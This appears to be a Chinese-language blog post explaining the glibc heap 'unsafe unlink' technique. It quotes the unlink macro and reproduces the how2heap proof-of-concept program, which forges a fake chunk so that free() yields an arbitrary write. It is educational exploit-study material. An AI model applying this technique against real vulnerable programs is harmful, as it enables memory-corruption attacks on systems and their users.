unsafe unlink

unlink来喽!刚开始看的时候有点摸不着头脑,理顺了还是挺形象的(ง •_•)ง

原理

unlink实际上是一个宏,用于从双链中摘下chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

摘下chunk的过程可如图所示:

简化一下其实就是

1
2
3
4
FD=victim->fd
BK=victim->bk
FD->bk=BK
BK->fd=FD

这个过程中会检查

1
FD->bk != P || BK->fd != P

2.26unlink开头增加了对nextchunk的presize和size的检查

1
2
3
4
5
6
7
8
9
10
#define unlink(AV, P, BK, FD) {                                            \
//size和next chunk的presize的检查
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \

……

}

利用

实验代码如下(来自how2heap,删除了一些输出):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);

int malloc_size = 0x80;
int header_size = 2;

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

uint64_t *chunk1_hdr = chunk1_ptr - header_size;

chunk1_hdr[0] = malloc_size;

chunk1_hdr[1] &= ~1;

free(chunk1_ptr);

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

利用步骤如下:

  • 连续malloc两个unsorted bin范围内的chunk(2.26以上大小需要在tcache之外),chunk0和chunk1
  • 在chunk0内伪造fake chunk
  • 修改chunk1的presize和size的inuse位(可以通过of by null漏洞(或者fastbin_dup_consolidate)+申请大小0x8结尾的chunk实现(使用next chunk的presize部分))
  • free(chunk1)触发chunk0的向上合并,触发unlink摘除chunk0
  • 最后的结果就是指向chunk0的指针现在指向指针地址-0x18的地址,这样我们就可以通过覆盖指向chunk0指针指向别的地方并且改写那里的内容

例题

见fastbin dup consolidate


unsafe unlink
http://akaieurus.github.io/2023/01/29/unsafe-unlink/
作者
Eurus
发布于
2023年1月29日
许可协议